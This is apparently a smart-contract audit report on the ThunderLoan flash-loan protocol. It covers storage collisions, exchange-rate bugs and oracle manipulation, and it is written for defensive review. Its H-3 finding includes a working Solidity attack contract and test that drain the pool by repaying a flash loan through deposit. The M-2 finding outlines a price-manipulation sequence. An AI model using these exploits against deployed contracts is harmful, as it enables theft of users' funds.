Protocol Audit Report

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Protocol Audit Report

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Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

Disclaimer

The Halir team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol SUmmary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These

AssetTokens gain interest over time depending on how often people take out flash loans! The protocol can upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	1
Gas	2
Total	11

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Unnecessary `updateExchangeRate` in `deposit` function incorrectly updates `exchangeRate` preventing withdraws and unfairly changing reward distribution

Description: Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

Impact

Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all.

Recommendations

It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
   amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
       ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`. Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: ## POC To execute the test successfully, please complete the following steps: 1. Place the `attack.sol` file within the mocks folder. 1. Import the contract in `ThunderLoanTest.t.sol`. 1. Add `testattack()` function in `ThunderLoanTest.t.sol`. 1. Change the `setUp()` function in `ThunderLoanTest.t.sol`.

```
import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
            "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
            tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
            (tokenA))), DEPOSIT_AMOUNT);
    }
```

```
function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
            thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
```

```

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata /*  params */
    )
        external
        returns (bool)
    {
        s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
            ));

        if (initiator != s_owner) {
            revert MockFlashLoanReceiver__onlyOwner();
        }

        if (msg.sender != s_thunderLoan) {
            revert MockFlashLoanReceiver__onlyThunderLoan();
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
        s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
        return true;
    }

    function getbalanceDuring() external view returns (uint256) {
        return s_balanceDuringFlashLoan;
    }

    function getBalanceAfter() external view returns (uint256) {
        return s_balanceAfterFlashLoan;
    }

    function sendAssetToken(address assetToken) public {

        IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this)));
    }
}
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   1. User sells 1000 `tokenA`, tanking the price.
   2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
      1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

   ```
   function getPriceInWeth(address token) public view returns (
       uint256) {
     address swapPoolOfToken = IPoolFactory(s_poolFactory).
         getPool(token);
   @>       return ITSwapPool(swapPoolOfToken).
       getPriceOfOnePoolTokenInWeth();
   }
   ```

   3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

```

```
261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+        emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                               | % Lines        | % Statements
   | % Branches     | % Funcs        |
| ---------------------------------- | -------------- | --------------
   | -------------- | -------------- |
| src/protocol/AssetToken.sol        | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0)  | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol       | 64.52% (40/62) | 68.35% (54/79)
   | 37.50% (6/16)  | 71.43% (10/14) |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
   s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```